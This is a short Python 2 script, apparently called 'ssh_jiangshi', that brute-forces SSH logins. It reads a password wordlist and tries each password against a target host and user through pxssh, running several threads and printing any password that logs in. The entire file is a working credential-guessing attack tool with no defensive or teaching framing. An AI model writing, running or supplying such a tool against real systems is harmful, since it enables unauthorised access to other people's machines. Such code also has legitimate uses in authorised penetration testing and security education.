# -- coding: utf-8 -- 
# Name: ssh_jiangshi

from pexpect import pxssh
import optparse,time
from threading import *

maxconnections = 5
connection_lock = BoundedSemaphore(value=maxconnections)
Found = False
Fails = 0

def connect(host,user,password,release):
    global Found,Fails
    try:
        s = pxssh.pxssh()
        s.login(host,user,password)
        print "password found " + password
        Found = True
    except Exception,e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host,user,password,False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host,user,password,False)
    finally:
        if release:
            connection_lock.release()

def main():
    parser = optparse.OptionParser('usage %prog -h <target host> -p <target ports> ')
    parser.add_option('-h', dest="host", type='string', help='spcify target host')
    parser.add_option('-f', dest="passwdfile", type='string', help='spcify password file')
    parser.add_option('-u', dest="user", type='string', help='spcify the suer')
    options, args = parser.parse_args()
    host = options.host
    user = options.user
    passwdfile = options.passwdfile

    if host == None or user == None or passwdfile == None:
        print parser.usage
        exit(0)
    fn = open(passwdfile, 'r')
    for l in fn.readlines():
        if Found:
            print "exiting password found"
            exit(0)
        if Fails > 5:
            print "exiting: too many socket timeouts"
            exit(0)
        connection_lock.acquire()
        password = l.strip('\n')
        print "testing: " + password
        t = Thread(target=connect, args=(host,user,password,True))
        t.start()


main()


